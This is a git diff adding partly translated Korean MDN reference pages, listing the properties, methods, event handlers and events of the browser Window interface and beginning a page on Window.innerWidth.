{{domxref("Window.DOMMatrixReadOnly")}} {{readOnlyInline}} {{experimental_inline}}
+
Returns a reference to a {{domxref("DOMMatrixReadOnly")}} object, which represents 4x4 matrices, suitable for 2D and 3D operations.
+
{{domxref("Window.DOMPoint")}} {{readOnlyInline}} {{experimental_inline}}
+
Returns a reference to a {{domxref("DOMPoint")}} object, which represents a 2D or 3D point in a coordinate system.
+
{{domxref("Window.DOMPointReadOnly")}} {{readOnlyInline}} {{experimental_inline}}
+
Returns a reference to a {{domxref("DOMPointReadOnly")}} object, which represents a 2D or 3D point in a coordinate system.
+
{{domxref("Window.DOMQuad")}} {{readOnlyInline}} {{experimental_inline}}
+
Returns a reference to a {{domxref("DOMQuad")}} object, which provides represents a quadrilaterial object, that is one having four corners and four sides.
+
{{domxref("Window.DOMRect")}} {{readOnlyInline}} {{experimental_inline}}
+
Returns a reference to a {{domxref("DOMRect")}} object, which represents a rectangle.
+
{{domxref("Window.DOMRectReadOnly")}} {{readOnlyInline}} {{experimental_inline}}
+
Returns a reference to a {{domxref("DOMRectReadOnly")}} object, which represents a rectangle.
+
{{domxref("Window.event")}} {{ReadOnlyInline}}
+
Returns the current event, which is the event currently being handled by the JavaScript code's context, or undefined if no event is currently being handled. The {{domxref("Event")}} object passed directly to event handlers should be used instead whenever possible.
+
{{domxref("Window.frameElement")}} {{readOnlyInline}}
+
이 창을 삽입했을 때 사용한 요소를 반환합니다. 창이 문서 내에 삽입된 것이 아니면 {{jsxref("null")}}을 반환합니다.
+
{{domxref("Window.frames")}} {{readOnlyInline}}
+
현재 창의 하위 프레임을 배열로 반환합니다.
+
{{domxref("Window.fullScreen")}}
+
현재 창을 전체 화면으로 보여주고 있는지 나타냅니다.
+
{{domxref("Window.history")}} {{ReadOnlyInline}}
+
Returns a reference to the history object.
+
{{domxref("Window.innerHeight")}} {{readOnlyInline}}
+
Gets the height of the content area of the browser window including, if rendered, the horizontal scrollbar.
+
{{domxref("Window.innerWidth")}} {{readOnlyInline}}
+
Gets the width of the content area of the browser window including, if rendered, the vertical scrollbar.
+
{{domxref("Window.isSecureContext")}} {{experimental_inline}} {{readOnlyInline}}
+
Indicates whether a context is capable of using features that require secure contexts.
+
{{domxref("Window.length")}} {{readOnlyInline}}
+
Returns the number of frames in the window. See also {{domxref("window.frames")}}.
+
{{domxref("Window.location")}}
+
Gets/sets the location, or current URL, of the window object.
+
{{domxref("Window.locationbar")}} {{ReadOnlyInline}}
+
Returns the locationbar object, whose visibility can be toggled in the window.
+
{{domxref("Window.localStorage")}} {{readOnlyInline}}
+
Returns a reference to the local storage object used to store data that may only be accessed by the origin that created it.
+
{{domxref("Window.menubar")}} {{ReadOnlyInline}}
+
Returns the menubar object, whose visibility can be toggled in the window.
+
{{domxref("Window.messageManager")}}
+
Returns the message manager object for this window.
+
{{domxref("Window.mozInnerScreenX")}} {{ReadOnlyInline}} {{non-standard_inline}}
+
Returns the horizontal (X) coordinate of the top-left corner of the window's viewport, in screen coordinates. This value is reported in CSS pixels. See mozScreenPixelsPerCSSPixel in {{interface("nsIDOMWindowUtils")}} for a conversion factor to adapt to screen pixels if needed.
+
{{domxref("Window.mozInnerScreenY")}} {{ReadOnlyInline}} {{non-standard_inline}}
+
Returns the vertical (Y) coordinate of the top-left corner of the window's viewport, in screen coordinates. This value is reported in CSS pixels. See mozScreenPixelsPerCSSPixel for a conversion factor to adapt to screen pixels if needed.
+
{{domxref("Window.name")}}
+
Gets/sets the name of the window.
+
{{domxref("Window.navigator")}} {{readOnlyInline}}
+
Returns a reference to the navigator object.
+
{{domxref("Window.opener")}}
+
현재 창을 열었던 다른 창의 참조를 반환합니다.
+
{{domxref("Window.outerHeight")}} {{readOnlyInline}}
+
브라우저 창 외곽 높이를 반환합니다.
+
{{domxref("Window.outerWidth")}} {{readOnlyInline}}
+
브라우저 창 외곽 너비를 반환합니다.
+
{{domxref("Window.scrollX","Window.pageXOffset")}} {{readOnlyInline}}
+
An alias for {{domxref("window.scrollX")}}.
+
{{domxref("Window.scrollY","Window.pageYOffset")}} {{readOnlyInline}}
+
An alias for {{domxref("window.scrollY")}}
+
{{domxref("Window.parent")}} {{readOnlyInline}}
+
Returns a reference to the parent of the current window or subframe.
+
{{domxref("Window.performance")}} {{readOnlyInline}}
+
Returns a {{domxref("Performance")}} object, which includes the {{domxref("Performance.timing", "timing")}} and {{domxref("Performance.navigation", "navigation")}} attributes, each of which is an object providing performance-related data. See also Using Navigation Timing for additional information and examples.
+
{{domxref("Window.personalbar")}} {{readOnlyInline}}
+
Returns the personalbar object, whose visibility can be toggled in the window.
+
{{domxref("Window.screen")}} {{readOnlyInline}}
+
Returns a reference to the screen object associated with the window.
+
{{domxref("Window.screenX")}} and {{domxref("Window.screenLeft")}} {{readOnlyInline}}
+
Both properties return the horizontal distance from the left border of the user's browser viewport to the left side of the screen.
+
{{domxref("Window.screenY")}} and {{domxref("Window.screenTop")}} {{readOnlyInline}}
+
Both properties return the vertical distance from the top border of the user's browser viewport to the top side of the screen.
+
{{domxref("Window.scrollbars")}} {{readOnlyInline}}
+
Returns the scrollbars object, whose visibility can be toggled in the window.
+
{{domxref("Window.scrollMaxX")}} {{non-standard_inline}} {{ReadOnlyInline}}
+
The maximum offset that the window can be scrolled to horizontally, that is the document width minus the viewport width.
+
{{domxref("Window.scrollMaxY")}} {{non-standard_inline}} {{ReadOnlyInline}}
+
The maximum offset that the window can be scrolled to vertically (i.e., the document height minus the viewport height).
+
{{domxref("Window.scrollX")}} {{readOnlyInline}}
+
Returns the number of pixels that the document has already been scrolled horizontally.
+
{{domxref("Window.scrollY")}} {{readOnlyInline}}
+
Returns the number of pixels that the document has already been scrolled vertically.
+
{{domxref("Window.self")}} {{ReadOnlyInline}}
+
Returns an object reference to the window object itself.
+
{{domxref("Window.sessionStorage")}}
+
Returns a reference to the session storage object used to store data that may only be accessed by the origin that created it.
+
{{domxref("Window.sidebar")}} {{non-standard_inline}} {{ReadOnlyInline}}
+
Returns a reference to the window object of the sidebar.
+
{{domxref("Window.speechSynthesis")}} {{ReadOnlyInline}}
+
Returns a {{domxref("SpeechSynthesis")}} object, which is the entry point into using Web Speech API speech synthesis functionality.
+
{{domxref("Window.status")}}
+
Gets/sets the text in the statusbar at the bottom of the browser.
+
{{domxref("Window.statusbar")}} {{readOnlyInline}}
+
Returns the statusbar object, whose visibility can be toggled in the window.
+
{{domxref("Window.toolbar")}} {{readOnlyInline}}
+
Returns the toolbar object, whose visibility can be toggled in the window.
+
{{domxref("Window.top")}} {{readOnlyInline}}
+
Returns a reference to the topmost window in the window hierarchy. This property is read only.
+
{{domxref("Window.visualViewport")}} {{readOnlyInline}}
+
Returns a {{domxref("VisualViewport")}} object which represents the visual viewport for a given window.
+
{{domxref("Window.window")}} {{ReadOnlyInline}}
+
Returns a reference to the current window.
+
window[0], window[1], etc.
+
Returns a reference to the window object in the frames. See {{domxref("Window.frames")}} for more details.
+
+ +

Properties implemented from elsewhere

+ +
+
{{domxref("WindowOrWorkerGlobalScope.caches")}} {{readOnlyinline}}
+
Returns the {{domxref("CacheStorage")}} object associated with the current context. This object enables functionality such as storing assets for offline use, and generating custom responses to requests.
+
{{domxref("WindowOrWorkerGlobalScope.indexedDB")}} {{readonlyInline}}
+
Provides a mechanism for applications to asynchronously access capabilities of indexed databases; returns an {{domxref("IDBFactory")}} object.
+
{{domxref("WindowOrWorkerGlobalScope.isSecureContext")}} {{readOnlyinline}}
+
Returns a boolean indicating whether the current context is secure (true) or not (false).
+
{{domxref("WindowOrWorkerGlobalScope.origin")}} {{readOnlyinline}}
+
Returns the global object's origin, serialized as a string. (This does not yet appear to be implemented in any browser.)
+
+ + + +

메서드

+ +

{{domxref("EventTarget")}}의 메서드를 상속하고, {{domxref("WindowOrWorkerGlobalScope")}}와 {{domxref("WindowEventHandlers")}} 믹스인의 메서드를 구현합니다.

+ +
+
{{domxref("Window.alert()")}}
+
경고 대화 상자를 표시합니다.
+
{{domxref("Window.blur()")}}
+
Sets focus away from the window.
+
{{domxref("Window.cancelAnimationFrame()")}} {{experimental_inline}}
+
Enables you to cancel a callback previously scheduled with {{domxref("Window.requestAnimationFrame")}}.
+
{{domxref("Window.cancelIdleCallback()")}} {{experimental_inline}}
+
Enables you to cancel a callback previously scheduled with {{domxref("Window.requestIdleCallback")}}.
+
{{domxref("Window.clearImmediate()")}}
+
Cancels the repeated execution set using setImmediate.
+
{{domxref("Window.close()")}}
+
Closes the current window.
+
{{domxref("Window.confirm()")}}
+
Displays a dialog with a message that the user needs to respond to.
+
{{domxref("Window.dispatchEvent()")}}
+
Used to trigger an event.
+
{{domxref("Window.dump()")}} {{Non-standard_inline}}
+
Writes a message to the console.
+
{{domxref("Window.find()")}}
+
Searches for a given string in a window.
+
{{domxref("Window.focus()")}}
+
Sets focus on the current window.
+
{{domxref("Window.getComputedStyle()")}}
+
Gets computed style for the specified element. Computed style indicates the computed values of all CSS properties of the element.
+
{{domxref("Window.getDefaultComputedStyle()")}} {{Non-standard_inline}}
+
Gets default computed style for the specified element, ignoring author stylesheets.
+
{{domxref("Window.getSelection()")}}
+
Returns the selection object representing the selected item(s).
+
{{domxref("Window.matchMedia()")}}
+
Returns a {{domxref("MediaQueryList")}} object representing the specified media query string.
+
{{domxref("Window.maximize()")}}
+
{{todo("NeedsContents")}}
+
{{domxref("Window.minimize()")}} (top-level XUL windows only)
+
Minimizes the window.
+
{{domxref("Window.moveBy()")}}
+
Moves the current window by a specified amount.
+
{{domxref("Window.moveTo()")}}
+
Moves the window to the specified coordinates.
+
{{domxref("Window.open()")}}
+
Opens a new window.
+
{{domxref("Window.postMessage()")}}
+
Provides a secure means for one window to send a string of data to another window, which need not be within the same domain as the first.
+
{{domxref("Window.print()")}}
+
Opens the Print Dialog to print the current document.
+
{{domxref("Window.prompt()")}}
+
Returns the text entered by the user in a prompt dialog.
+
{{domxref("Window.requestAnimationFrame()")}}
+
Tells the browser that an animation is in progress, requesting that the browser schedule a repaint of the window for the next animation frame.
+
{{domxref("Window.requestIdleCallback()")}} {{experimental_inline}}
+
Enables the scheduling of tasks during a browser's idle periods.
+
{{domxref("Window.resizeBy()")}}
+
Resizes the current window by a certain amount.
+
{{domxref("Window.resizeTo()")}}
+
Dynamically resizes window.
+
{{domxref("Window.scroll()")}}
+
Scrolls the window to a particular place in the document.
+
{{domxref("Window.scrollBy()")}}
+
Scrolls the document in the window by the given amount.
+
{{domxref("Window.scrollByLines()")}} {{Non-standard_inline}}
+
Scrolls the document by the given number of lines.
+
{{domxref("Window.scrollByPages()")}} {{Non-standard_inline}}
+
Scrolls the current document by the specified number of pages.
+
{{domxref("Window.scrollTo()")}}
+
Scrolls to a particular set of coordinates in the document.
+
{{domxref("Window.setCursor()")}} {{Non-standard_inline}} (top-level XUL windows only)
+
Changes the cursor for the current window
+
{{domxref("Window.setImmediate()")}}
+
Executes a function after the browser has finished other heavy tasks
+
{{domxref("Window.setResizable()")}} {{Non-standard_inline}}
+
Toggles a user's ability to resize a window.
+
{{domxref("Window.sizeToContent()")}} {{Non-standard_inline}}
+
Sizes the window according to its content.
+
{{domxref("Window.stop()")}}
+
This method stops window loading.
+
{{domxref("Window.updateCommands()")}} {{Non-standard_inline}}
+
Updates the state of commands of the current chrome window (UI).
+
+ +

Methods implemented from elsewhere

+ +
+
{{domxref("EventTarget.addEventListener()")}}
+
Register an event handler to a specific event type on the window.
+
{{domxref("WindowOrWorkerGlobalScope.atob()")}}
+
Decodes a string of data which has been encoded using base-64 encoding.
+
{{domxref("WindowOrWorkerGlobalScope.btoa()")}}
+
Creates a base-64 encoded ASCII string from a string of binary data.
+
{{domxref("WindowOrWorkerGlobalScope.clearInterval()")}}
+
Cancels the repeated execution set using {{domxref("WindowOrWorkerGlobalScope.setInterval()")}}.
+
{{domxref("WindowOrWorkerGlobalScope.clearTimeout()")}}
+
Cancels the delayed execution set using {{domxref("WindowOrWorkerGlobalScope.setTimeout()")}}.
+
{{domxref("WindowOrWorkerGlobalScope.createImageBitmap()")}}
+
Accepts a variety of different image sources, and returns a {{domxref("Promise")}} which resolves to an {{domxref("ImageBitmap")}}. Optionally the source is cropped to the rectangle of pixels originating at (sx, sy) with width sw, and height sh.
+
{{domxref("WindowOrWorkerGlobalScope.fetch()")}}
+
Starts the process of fetching a resource from the network.
+
{{domxref("EventTarget.removeEventListener")}}
+
Removes an event listener from the window.
+
{{domxref("WindowOrWorkerGlobalScope.setInterval()")}}
+
Schedules a function to execute every time a given number of milliseconds elapses.
+
{{domxref("WindowOrWorkerGlobalScope.setTimeout()")}}
+
Schedules a function to execute in a given amount of time.
+
+ + + +

이벤트 처리기

+ +

These are properties of the window object that can be set to establish event handlers for the various things that can happen in the window that might be of interest.

+ +

This interface inherits event handlers from the {{domxref("EventTarget")}} interface and implements event handlers from {{domxref("WindowEventHandlers")}}.

+ +
+
{{domxref("Window.onappinstalled")}}
+
Called when the page is installed as a webapp. See {{event('appinstalled')}} event.
+
{{domxref("Window.onbeforeinstallprompt")}}
+
An event handler property dispatched before a user is prompted to save a web site to a home screen on mobile.
+
{{domxref("Window.ondevicelight")}}
+
An event handler property for any ambient light levels changes
+
{{domxref("Window.ondevicemotion")}}
+
Called if accelerometer detects a change (For mobile devices)
+
{{domxref("Window.ondeviceorientation")}}
+
Called when the orientation is changed (For mobile devices)
+
{{domxref("Window.ondeviceorientationabsolute")}} {{non-standard_inline}}
+
An event handler property for any device orientation changes.
+
{{domxref("Window.ondeviceproximity")}}
+
An event handler property for device proximity event
+
{{domxref("Window.ongamepadconnected")}}
+
Represents an event handler that will run when a gamepad is connected (when the {{event('gamepadconnected')}} event fires).
+
{{domxref("Window.ongamepaddisconnected")}}
+
Represents an event handler that will run when a gamepad is disconnected (when the {{event('gamepaddisconnected')}} event fires).
+
{{domxref("Window.onmozbeforepaint")}}
+
An event handler property for the MozBeforePaint event, which is sent before repainting the window if the event has been requested by a call to the {{domxref("Window.mozRequestAnimationFrame()")}} method.
+
{{domxref("Window.onpaint")}}
+
An event handler property for paint events on the window.
+
{{domxref("Window.onrejectionhandled")}} {{experimental_inline}}
+
An event handler for handled {{jsxref("Promise")}} rejection events.
+
{{domxref("Window.onuserproximity")}}
+
An event handler property for user proximity events.
+
{{domxref("Window.onvrdisplayconnect")}}
+
Represents an event handler that will run when a compatible VR device has been connected to the computer (when the {{event("vrdisplayconnected")}} event fires).
+
{{domxref("Window.onvrdisplaydisconnect")}}
+
Represents an event handler that will run when a compatible VR device has been disconnected from the computer (when the {{event("vrdisplaydisconnected")}} event fires).
+
{{domxref("Window.onvrdisplayactivate")}}
+
Represents an event handler that will run when a display is able to be presented to (when the {{event("vrdisplayactivate")}} event fires), for example if an HMD has been moved to bring it out of standby, or woken up by being put on.
+
{{domxref("Window.onvrdisplaydeactivate")}}
+
Represents an event handler that will run when a display can no longer be presented to (when the {{event("vrdisplaydeactivate")}} event fires), for example if an HMD has gone into standby or sleep mode due to a period of inactivity.
+
{{domxref("Window.onvrdisplayblur")}}
+
Represents an event handler that will run when presentation to a display has been paused for some reason by the browser, OS, or VR hardware (when the {{event("vrdisplayblur")}} event fires) — for example, while the user is interacting with a system menu or browser, to prevent tracking or loss of experience.
+
{{domxref("Window.onvrdisplayfocus")}}
+
Represents an event handler that will run when presentation to a display has resumed after being blurred (when the {{event("vrdisplayfocus")}} event fires).
+
{{domxref("Window.onvrdisplaypresentchange")}}
+
represents an event handler that will run when the presenting state of a VR device changes — i.e. goes from presenting to not presenting, or vice versa (when the {{event("vrdisplaypresentchange")}} event fires).
+
+ +

Event handlers implemented from elsewhere

+ +
+
{{domxref("GlobalEventHandlers.onabort")}}
+
Called when the loading of a resource has been aborted, such as by a user canceling the load while it is still in progress
+
{{domxref("WindowEventHandlers.onafterprint")}}
+
Called when the print dialog box is closed. See {{event("afterprint")}} event.
+
{{domxref("WindowEventHandlers.onbeforeprint")}}
+
Called when the print dialog box is opened. See {{event("beforeprint")}} event.
+
{{domxref("WindowEventHandlers.onbeforeunload")}}
+
An event handler property for before-unload events on the window.
+
{{domxref("GlobalEventHandlers.onblur")}}
+
Called after the window loses focus, such as due to a popup.
+
{{domxref("GlobalEventHandlers.onchange")}}
+
An event handler property for change events on the window.
+
{{domxref("GlobalEventHandlers.onclick")}}
+
Called after the ANY mouse button is pressed & released
+
{{domxref("GlobalEventHandlers.ondblclick")}}
+
Called when a double click is made with ANY mouse button.
+
{{domxref("GlobalEventHandlers.onclose")}}
+
Called after the window is closed
+
{{domxref("GlobalEventHandlers.oncontextmenu")}}
+
Called when the RIGHT mouse button is pressed
+
{{domxref("GlobalEventHandlers.onerror")}}
+
Called when a resource fails to load OR when an error occurs at runtime. See {{event("error")}} event.
+
{{domxref("GlobalEventHandlers.onfocus")}}
+
Called after the window receives or regains focus. See {{event("focus")}} events.
+
{{domxref("WindowEventHandlers.onhashchange")}}
+
An event handler property for {{event('hashchange')}} events on the window; called when the part of the URL after the hash mark ("#") changes.
+
{{domxref("GlobalEventHandlers.oninput")}}
+
Called when the value of an <input> element changes
+
{{domxref("GlobalEventHandlers.onkeydown")}}
+
Called when you begin pressing ANY key. See {{event("keydown")}} event.
+
{{domxref("GlobalEventHandlers.onkeypress")}}
+
Called when a key (except Shift, Fn, and CapsLock) is in pressed position. See {{event("keypress")}} event.
+
{{domxref("GlobalEventHandlers.onkeyup")}}
+
Called when you finish releasing ANY key. See {{event("keyup")}} event.
+
{{domxref("WindowEventHandlers.onlanguagechange")}}
+
An event handler property for {{event("languagechange")}} events on the window.
+
{{domxref("GlobalEventHandlers.onload")}}
+
Called after all resources and the DOM are fully loaded. WILL NOT get called when the page is loaded from cache, such as with back button.
+
{{domxref("WindowEventHandlers.onmessage")}}
+
Is an {{domxref("EventHandler")}} representing the code to be called when the {{event("message")}} event is raised.
+
{{domxref("GlobalEventHandlers.onmousedown")}}
+
Called when ANY mouse button is pressed.
+
{{domxref("GlobalEventHandlers.onmousemove")}}
+
Called continously when the mouse is moved inside the window.
+
{{domxref("GlobalEventHandlers.onmouseout")}}
+
Called when the pointer leaves the window.
+
{{domxref("GlobalEventHandlers.onmouseover")}}
+
Called when the pointer enters the window
+
{{domxref("GlobalEventHandlers.onmouseup")}}
+
Called when ANY mouse button is released
+
{{domxref("WindowEventHandlers.onoffline")}}
+
Called when network connection is lost. See {{event("offline")}} event.
+
{{domxref("WindowEventHandlers.ononline")}}
+
Called when network connection is established. See {{event("online")}} event.
+
{{domxref("WindowEventHandlers.onpagehide")}}
+
Called when the user navigates away from the page, before the onunload event. See {{event("pagehide")}} event.
+
{{domxref("WindowEventHandlers.onpageshow")}}
+
Called after all resources and the DOM are fully loaded. See {{event("pageshow")}} event.
+
{{domxref("WindowEventHandlers.onpopstate")}}
+
Called when a back button is pressed.
+
{{domxref("GlobalEventHandlers.onreset")}}
+
Called when a form is reset
+
{{domxref("GlobalEventHandlers.onresize")}}
+
Called continuously as you are resizing the window.
+
{{domxref("GlobalEventHandlers.onscroll")}}
+
Called when the scroll bar is moved via ANY means. If the resource fully fits in the window, then this event cannot be invoked
+
{{domxref("GlobalEventHandlers.onwheel")}}
+
Called when the mouse wheel is rotated around any axis
+
{{domxref("GlobalEventHandlers.onselect")}}
+
Called after text in an input field is selected
+
{{domxref("GlobalEventHandlers.onselectionchange")}}
+
Is an {{domxref("EventHandler")}} representing the code to be called when the {{event("selectionchange")}} event is raised.
+
{{domxref("WindowEventHandlers.onstorage")}}
+
Called when there is a change in session storage or local storage. See {{event("storage")}} event
+
{{domxref("GlobalEventHandlers.onsubmit")}}
+
Called when a form is submitted
+
{{domxref("WindowEventHandlers.onunhandledrejection")}} {{experimental_inline}}
+
An event handler for unhandled {{jsxref("Promise")}} rejection events.
+
{{domxref("WindowEventHandlers.onunload")}}
+
Called when the user navigates away from the page.
+
+ +

이벤트

+ +

Listen to these events using addEventListener() or by assigning an event listener to the oneventname property of this interface.

+ +
+
{{domxref("Window/error_event", "error")}}
+
Fired when when a resource failed to load, or can't be used. For example, if a script has an execution error or an image can't be found or is invalid.
+ Also available via the {{domxref("GlobalEventHandlers/onerror", "onerror")}} property.
+
{{domxref("Window/languagechange_event", "languagechange")}}
+
Fired at the global scope object when the user's preferred language changes.
+ Also available via the onlanguagechange property.
+
{{domxref("Window/orientationchange_event", "orientationchange")}}
+
Fired when the orientation of the device has changed.
+ Also available via the onorientationchange property.
+
{{domxref("Window/devicemotion_event", "devicemotion")}}
+
Fired at a regular interval, indicating the amount of physical force of acceleration the device is receiving and the rate of rotation, if available.
+
{{domxref("Window/deviceorientation_event", "deviceorientation")}}
+
Fired when fresh data is available from the magnetometer orientation sensor about the current orientation of the device as compared to the Earth coordinate frame.
+
{{domxref("Document/defaultView/resize_event", "resize")}}
+
Fired when the window has been resized.
+ Also available via the onresize property.
+
{{domxref("Document/defaultView/storage_event", "storage")}}
+
Fired when a storage area (localStorage or sessionStorage) has been modified in the context of another document.
+ Also available via the onstorage property.
+
+ +

Animation events

+ +
+
{{domxref("Window/animationcancel_event", "animationcancel")}}
+
Fired when an animation unexpectedly aborts.
+ Also available via the onanimationcancel property.
+
{{domxref("Window/animationend_event", "animationend")}}
+
Fired when an animation has completed normally.
+ Also available via the onanimationend property.
+
{{domxref("Window/animationiteration_event", "animationiteration")}}
+
Fired when an animation iteration has completed.
+ Also available via the onanimationiteration property.
+
{{domxref("Window/animationstart_event", "animationstart")}}
+
Fired when an animation starts.
+ Also available via the onanimationstart property.
+
+ +

Clipboard events

+ +
+
{{domxref("Window/clipboardchange_event", "clipboardchange")}}
+
Fired when the system clipboard content changes.
+
{{domxref("Window/copy_event", "copy")}}
+
Fired when the user initiates a copy action through the browser's user interface.
+ Also available via the oncopy property.
+
{{domxref("Window/cut_event", "cut")}}
+
Fired when the user initiates a cut action through the browser's user interface.
+ Also available via the oncut property.
+
{{domxref("Window/paste_event", "paste")}}
+
Fired when the user initiates a paste action through the browser's user interface.
+ Also available via the onpaste property.
+
+ +

Connection events

+ +
+
{{domxref("Window/offline_event", "offline")}}
+
Fired when the browser has lost access to the network and the value of navigator.onLine has switched to false.
+ Also available via the {{domxref("WindowEventHandlers.onoffline", "onoffline")}} property.
+
{{domxref("Window/online_event", "online ")}}
+
Fired when the browser has gained access to the network and the value of navigator.onLine has switched to true.
+ Also available via the {{domxref("WindowEventHandlers.ononline", "ononline")}} property.
+
+ +

Focus events

+ +
+
{{domxref("Window/blur_event", "blur")}}
+
Fired when an element has lost focus.
+ Also available via the onblur property.
+
{{domxref("Window/focus_event", "focus")}}
+
Fired when an element has gained focus.
+ Also available via the onfocus property
+
+ +

Gamepad events

+ +
+
{{domxref("Window/gamepadconnected_event", "gamepadconnected")}}
+
Fired when the browser detects that a gamepad has been connected or the first time a button/axis of the gamepad is used.
+ Also available via the ongamepadconnected property.
+
{{domxref("Window/gamepaddisconnected_event", "gamepaddisconnected")}}
+
Fired when the browser detects that a gamepad has been disconnected.
+ Also available via the ongamepaddisconnected property
+
+ +

History events

+ +
+
{{domxref("Window/hashchange_event", "hashchange")}}
+
Fired when the fragment identifier of the URL has changed (the part of the URL beginning with and following the # symbol).
+ Also available via the onhashchange property.
+
{{domxref("Window/pagehide_event", "pagehide")}}
+
Sent when the browser hides the current document while in the process of switching to displaying in its place a different document from the session's history. This happens, for example, when the user clicks the Back button or when they click the Forward button to move ahead in session history.
+ Also available through the onpagehide event handler property.
+
{{domxref("Window/pageshow_event", "pageshow")}}
+
Sent when the browser makes the document visible due to navigation tasks, including not only when the page is first loaded, but also situations such as the user navigating back to the page after having navigated to another within the same tab.
+ Also available using the onpageshow event handler property.
+
{{domxref("Window/popstate_event", "popstate")}}
+
Fired when the active history entry changes.
+ Also available using the onpopstate event handler property.
+
+ +

Load & unload events

+ +
+
{{domxref("Window/beforeunload_event", "beforeunload")}}
+
Fired when the window, the document and its resources are about to be unloaded.
+ Also available via the {{domxref("WindowEventHandlers/onbeforeunload", "onbeforeunload")}} property.
+
{{domxref("Window/DOMContentLoaded_event", "DOMContentLoaded")}}
+
Fired when the document has been completely loaded and parsed, without waiting for stylesheets, images, and subframes to finish loading.
+
{{domxref("Window/load_event", "load")}}
+
Fired when the whole page has loaded, including all dependent resources such as stylesheets images.
+ Also available via the {{domxref("GlobalEventHandlers/onload", "onload")}} property.
+
{{domxref("Window/unload_event", "unload")}}
+
Fired when the document or a child resource is being unloaded.
+ Also available via the {{domxref("WindowEventHandlers/onunload", "onunload")}} property.
+
+ +

Manifest events

+ +
+
{{domxref("Window/appinstalled_event", "appinstalled")}}
+
Fired when the browser has successfully installed a page as an application.
+ Also available via the {{domxref("Window/onappinstalled", "onappinstalled")}} property.
+
{{domxref("Window/beforeinstallprompt_event", "beforeinstallprompt")}}
+
Fired when a user is about to be prompted to install a web application.
+ Also available via the {{domxref("Window/onbeforeinstallprompt", "onbeforeinstallprompt")}} property.
+
+ +

Messaging events

+ +
+
{{domxref("Window/message_event", "message")}}
+
Fired when the window receives a message, for example from a call to {{domxref("Window/postMessage", "Window.postMessage()")}} from another browsing context.
+ Also available via the {{domxref("WindowEventHandlers/onmessage", "onmessage")}} property.
+
{{domxref("Window/messageerror_event", "messageerror")}}
+
Fired when a Window object receives a message that can't be deserialized.
+ Also available via the {{domxref("WindowEventHandlers/onmessageerror", "onmessageerror")}} property.
+
+ + + +
+
{{domxref("Window/afterprint_event", "afterprint")}}
+
Fired after the associated document has started printing or the print preview has been closed.
+ Also available via the {{domxref("WindowEventHandlers/onafterprint", "onafterprint")}} property.
+
{{domxref("Window/beforeprint_event", "beforeprint")}}
+
Fired when the associated document is about to be printed or previewed for printing.
+ Also available via the {{domxref("WindowEventHandlers/onbeforeprint", "onbeforeprint")}} property.
+
+ +

Promise rejection events

+ +
+
{{domxref("Window/rejectionhandled_event", "rejectionhandled")}}
+
Sent every time a JavaScript {{jsxref("Promise")}} is rejected, regardless of whether or not there is a handler in place to catch the rejection.
+ Also available through the onrejectionhandled event handler property.
+
{{domxref("Window/unhandledrejection_event", "unhandledrejection")}}
+
Sent when a JavaScript {{jsxref("Promise")}} is rejected but there is no handler in place to catch the rejection.
+ Also available using the onunhandledrejection event handler property.
+
+ +

Transition events

+ +
+
{{domxref("Window/transitioncancel_event", "transitioncancel")}}
+
Fired when a CSS transition is canceled.
+ Also available via the ontransitioncancel property.
+
{{domxref("Window/transitionend_event", "transitionend")}}
+
Fired when a CSS transition has completed.
+ Also available via the ontransitionend property.
+
{{domxref("Window/transitionrun_event", "transitionrun")}}
+
Fired when a CSS transition is first created.
+ Also available via the ontransitionrun property.
+
{{domxref("Window/transitionstart_event", "transitionstart")}}
+
Fired when a CSS transition has actually started.
+ Also available via the ontransitionstart property.
+
+ +

WebVR events

+ +
+
{{domxref("Window/vrdisplayactivate_event", "vrdisplayactivate")}}
+
Fired when a VR display becomes available to be presented to, for example if an HMD has been moved to bring it out of standby, or woken up by being put on.
+ Also available via the {{domxref("Window/onvrdisplayactivate", "onvrdisplayactivate")}} property.
+
{{domxref("Window/vrdisplayblur_event", "vrdisplayblur")}}
+
Fired when presentation to a VR display has been paused for some reason by the browser, OS, or VR hardware.
+ Also available via the {{domxref("Window/onvrdisplayblur", "onvrdisplayblur")}} property.
+
{{domxref("Window/vrdisplayconnect_event", "vrdisplayconnect")}}
+
Fired when a compatible VR display is connected to the computer.
+ Also available via the {{domxref("Window/onvrdisplayconnect", "onvrdisplayconnect")}} property.
+
{{domxref("Window/vrdisplaydeactivate_event", "vrdisplaydeactivate")}}
+
Fired when a VR display can no longer be presented to, for example if an HMD has gone into standby or sleep mode due to a period of inactivity.
+ Also available via the {{domxref("Window/onvrdisplaydeactivate", "onvrdisplaydeactivate")}} property.
+
{{domxref("Window/vrdisplaydisconnect_event", "vrdisplaydisconnect")}}
+
Fired when a compatible VR display is disconnected from the computer.
+ Also available via the {{domxref("Window/onvrdisplaydisconnect", "onvrdisplaydisconnect")}} property.
+
{{domxref("Window/vrdisplayfocus_event", "vrdisplayfocus")}}
+
Fired when presentation to a VR display has resumed after being blurred.
+ Also available via the {{domxref("Window/onvrdisplayfocus", "onvrdisplayfocus")}} property.
+
{{domxref("Window/vrdisplaypresentchange_event", "vrdisplaypresentchange")}}
+
Fired when the presenting state of a VR display changes — i.e. goes from presenting to not presenting, or vice versa.
+ Also available via the {{domxref("Window/onvrdisplaypresentchange", "onvrdisplaypresentchange")}} property.
+
{{domxref("Window/vrdisplaypointerrestricted_event", "vrdisplaypointerrestricted")}}
+
Fired when the VR display's pointer input is restricted to consumption via a pointerlocked element.
+ Also available via the {{domxref("Window/onvrdisplaypointerrestricted", "onvrdisplaypointerrestricted")}} property.
+
{{domxref("Window/vrdisplaypointerunrestricted_event", "vrdisplaypointerunrestricted")}}
+
Fired when the VR display's pointer input is no longer restricted to consumption via a pointerlocked element.
+ Also available via the {{domxref("Window/onvrdisplaypointerunrestricted", "onvrdisplaypointerunrestricted")}} property.
+
+ +

인터페이스

+ +

DOM 인터페이스를 참고하세요.

+ +

브라우저 호환성

+ + + +

{{Compat("api.Window")}}

diff --git a/files/ko/web/api/window/innerwidth/index.html b/files/ko/web/api/window/innerwidth/index.html new file mode 100644 index 0000000000..129b4a9347 --- /dev/null +++ b/files/ko/web/api/window/innerwidth/index.html @@ -0,0 +1,78 @@ +--- +title: Window.innerWidth +slug: Web/API/Window/innerWidth +tags: + - API + - Property + - Reference +translation_of: Web/API/Window/innerWidth +--- +

{{APIRef}}
+ 브라우저 윈도우의 뷰포트 너비로, 수직 스크롤바가 존재한다면 포함합니다.

+ +

구문

+ +

 

+ +
var intViewportWidth = window.innerWidth;
+ +

Value

+ +

intViewportWidth stores the window.innerWidth property value.

+ +

The window.innerWidth property is read only; it has no default value.

+ +

참고

+ +

